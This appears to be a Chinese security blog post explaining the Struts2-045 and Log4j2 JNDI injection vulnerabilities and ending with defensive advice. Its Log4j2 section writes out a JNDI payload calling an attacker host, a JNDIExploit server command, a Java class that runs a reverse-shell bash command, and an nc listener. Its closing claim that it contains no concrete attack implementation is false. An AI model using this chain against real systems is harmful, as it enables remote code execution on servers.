本文僅用于技術研究,禁止用于非法用途。
文章目錄
- Struts2
- Struts2 框架介紹
- Struts2 歷史漏洞匯總(表格)
- Struts2-045 漏洞詳解
- Log4j2
- Log4j2 框架介紹
- Log4j2 漏洞原理
- 1. JNDI 注入
- 2. 利用過程
- Log4j2 歷史漏洞
- JNDI+LDAP 反彈 Shell 流程
Struts2
Struts2 框架介紹
Apache Struts2 是一個基于 MVC 設計模式的開源 Web 應用框架,廣泛應用于企業級開發。其核心特點包括:
- 靈活的請求處理:通過攔截器機制動態處理用戶請求,支持 RESTful API。
- 擴展性強:支持插件機制(如文件上傳、JSON 解析)。
- 安全風險:歷史版本因設計缺陷(如輸入驗證缺失、危險函數濫用)多次曝出高危漏洞。
Struts2 歷史漏洞匯總(表格)
注:更多漏洞可參考 Apache Struts2 官方安全公告。
Struts2-045 漏洞詳解
1. 簡介
Struts2-045(CVE-2017-5638)是 Apache Struts2 框架的高危 遠程代碼執行漏洞,因 Jakarta 文件上傳插件對 Content-Type 頭未嚴格校驗,攻擊者可構造惡意 HTTP 請求頭注入 OGNL 表達式,導致目標服務器執行任意命令。
2. 影響范圍
- 受影響版本:
- Struts 2.3.5–2.3.31
- Struts 2.5–2.5.10
- 典型場景:使用 Struts2 框架的文件上傳功能且未升級補丁的 Web 應用。
Log4j2
Log4j2 框架介紹
Apache Log4j2 是 Java 生態中廣泛使用的 日志記錄庫,支持動態配置、多輸出源(文件、控制臺、數據庫等)和日志級別管理。其核心功能包括:
- 高性能異步日志:適用于高并發場景。
- 插件化架構:支持自定義 Appender、Filter 等組件。
Log4j2 漏洞原理
1. JNDI 注入
- 核心機制:Log4j2 的 Lookup 功能允許通過 ${jndi:ldap://attacker.com/exp} 解析動態內容。
- 漏洞觸發:當應用程序記錄包含惡意 JNDI 表達式的日志時,Log4j2 會通過 JNDI 協議(LDAP/RMI)請求遠程資源,加載并執行攻擊者部署的惡意類文件。
2. 利用過程
- 構造惡意請求:攻擊者發送包含 ${jndi:ldap://惡意服務器/exp} 的日志內容(如 HTTP 請求頭)。
- 觸發解析:Log4j2 解析該內容,向 LDAP/RMI 服務器發起請求。
- 加載惡意類:惡意服務器返回指向遠程 HTTP 服務的 Reference 對象,客戶端下載并執行惡意類文件。
Log4j2 歷史漏洞
JNDI+LDAP 反彈 Shell 流程
- 搭建惡意 LDAP 服務器:
- 使用工具(如 JNDIExploit)啟動 LDAP 服務,并綁定指向惡意類的 URL。
java -jar JNDIExploit-1.2.jar -i 攻擊者IP -p 1389
- 生成惡意類文件:
- 編寫包含反彈 Shell 代碼的 Java 類(如 Exploit.java),編譯后托管在 HTTP 服務器。
public class Exploit { static { try { Runtime.getRuntime().exec("bash -c {echo,base64編碼的Shell命令} | base64 -d | bash"); } catch (Exception e) {} }
}
- 構造 Payload:
- 發送包含 ${jndi:ldap://攻擊者IP:1389/Exploit} 的請求至目標應用。
- 觸發漏洞:
- 目標服務器解析 Payload,從 LDAP 服務器獲取惡意類地址并加載執行,反彈 Shell 至攻擊者監聽端口。
- 接收 Shell:
nc -lvnp 監聽端口
防御建議:
- 升級 Log4j2 至 2.17.0+,禁用 JNDI Lookup 功能。
- 配置網絡防火墻限制外連請求,使用 WAF 攔截惡意特征。
注:本文遵循CSDN社區內容規范,不涉及具體攻擊實現,重點探討防御方法論。